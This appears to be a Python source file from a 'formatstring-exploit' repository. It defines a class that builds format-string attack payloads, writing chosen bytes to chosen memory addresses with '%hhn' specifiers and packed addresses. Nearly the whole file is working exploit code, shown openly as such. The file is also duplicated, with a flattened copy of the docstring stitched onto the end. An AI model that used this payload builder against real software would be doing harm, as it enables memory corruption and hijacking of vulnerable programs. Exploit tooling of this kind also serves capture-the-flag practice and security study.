<reponame>cys3c/formatstring-exploit<filename>fmtstr.py<gh_stars>1-10
import struct

"""
The remaining chars indicate types of args and must match exactly;
these can be preceded by a decimal repeat count:
x: pad byte (no data); c:char; b:signed byte; B:unsigned byte;
?: _Bool (requires C99; if not available, char is used instead)
h:short; H:unsigned short; i:int; I:unsigned int;
l:long; L:unsigned long; f:float; d:double.
Special cases (preceding decimal count indicates length):
s:string (array of char); p: pascal string (with count byte).
Special case (only available in native format):
P:an integer type that is wide enough to hold a pointer.
Special case (not in native mode unless 'long long' in platform C):
q:long long; Q:unsigned long long
"""

p64 = lambda x: struct.pack('<Q', x)
p32 = lambda x: struct.pack('<L', x)
u8  = lambda x: struct.unpack('<B', x)[0]

class FormatString(object):
    def __init__(self, offset=None, written=0, bits=64):
        self.bits = bits

        if written % self.size() != 0:
            self.padding = self.size() - written % self.size()
        else:
            self.padding = 0

        if offset is None:
            offset = {4: 1, 8: 6}[self.size()]

        self.offset = offset
        self.written = written
        self.table = {}

    def cleanup(self):
        self.table = {}

    def size(self):
        if self.bits == 32:
            return 4
        elif self.bits == 64:
            return 8
        else:
            raise ValueError('Unsupported bits %d' % self.bits)

    def pack(self, v):
        f = { 4: p32, 8: p64 }
        return f[self.size()](v)

    def build(self):
        payload = ''
        to_write = sorted(self.table.items(), key=lambda x: x[1])
        length = len(to_write) * 12 # %100c$99$hhn
        length = length + 8 + self.size() - length % self.size()

        written = self.written + self.padding

        skip = self.offset + (length + written) // self.size()

        for adr, val in to_write:
            val = u8(val)
            if val != written & 0xff:
                l = (val - written) & 0xff
                payload += '%{}c'.format(l)
                written += l
            payload += '%{}$hhn'.format(skip)
            skip += 1

        SIG = 'DEADBEEF'
        sig = SIG + '.' * (length - len(payload) - len(SIG) - 1) + '\0'
        payload += sig + ''.join(self.pack(i[0]) for i in to_write)

        self.cleanup()
        return '.' * self.padding + payload, sig[:-1]

    def __setitem__(self, address, val):
        if type(val) is int:
            val = self.pack(val)
        to_write = { (address + i, v) for i, v in enumerate(val) }
        self.table.update(to_write)

import struct

"""
The remaining chars indicate types of args and must match exactly;
these can be preceded by a decimal repeat count:
x: pad byte (no data); c:char; b:signed byte; B:unsigned byte;
?: _Bool (requires C99; if not available, char is used instead)
h:short; H:unsigned short; i:int; I:unsigned int;
l:long; L:unsigned long; f:float; d:double.
Special cases (preceding decimal count indicates length):
s:string (array of char); p: pascal string (with count byte).
Special case (only available in native format):
P:an integer type that is wide enough to hold a pointer.
Special case (not in native mode unless 'long long' in platform C):
q:long long; Q:unsigned long long
"""

p64 = lambda x: struct.pack('<Q', x)
p32 = lambda x: struct.pack('<L', x)
u8  = lambda x: struct.unpack('<B', x)[0]

class FormatString(object):
    def __init__(self, offset=None, written=0, bits=64):
        self.bits = bits

        if written % self.size() != 0:
            self.padding = self.size() - written % self.size()
        else:
            self.padding = 0

        if offset is None:
            offset = {4: 1, 8: 6}[self.size()]

        self.offset = offset
        self.written = written
        self.table = {}

    def cleanup(self):
        self.table = {}

    def size(self):
        if self.bits == 32:
            return 4
        elif self.bits == 64:
            return 8
        else:
            raise ValueError('Unsupported bits %d' % self.bits)

    def pack(self, v):
        f = { 4: p32, 8: p64 }
        return f[self.size()](v)

    def build(self):
        payload = ''
        to_write = sorted(self.table.items(), key=lambda x: x[1])
        length = len(to_write) * 12 # %100c$99$hhn
        length = length + 8 + self.size() - length % self.size()

        written = self.written + self.padding

        skip = self.offset + (length + written) // self.size()

        for adr, val in to_write:
            val = u8(val)
            if val != written & 0xff:
                l = (val - written) & 0xff
                payload += '%{}c'.format(l)
                written += l
            payload += '%{}$hhn'.format(skip)
            skip += 1

        SIG = 'DEADBEEF'
        sig = SIG + '.' * (length - len(payload) - len(SIG) - 1) + '\0'
        payload += sig + ''.join(self.pack(i[0]) for i in to_write)

        self.cleanup()
        return '.' * self.padding + payload, sig[:-1]

    def __setitem__(self, address, val):
        if type(val) is int:
            val = self.pack(val)
        to_write = { (address + i, v) for i, v in enumerate(val) }
        self.table.update(to_write)
The remaining chars indicate types of args and must match exactly; these can be preceded by a decimal repeat count: x: pad byte (no data); c:char; b:signed byte; B:unsigned byte; ?: _Bool (requires C99; if not available, char is used instead) h:short; H:unsigned short; i:int; I:unsigned int; l:long; L:unsigned long; f:float; d:double. Special cases (preceding decimal count indicates length): s:string (array of char); p: pascal string (with count byte). Special case (only available in native format): P:an integer type that is wide enough to hold a pointer. Special case (not in native mode unless 'long long' in platform C): q:long long; Q:unsigned long long # %100c$99$hhn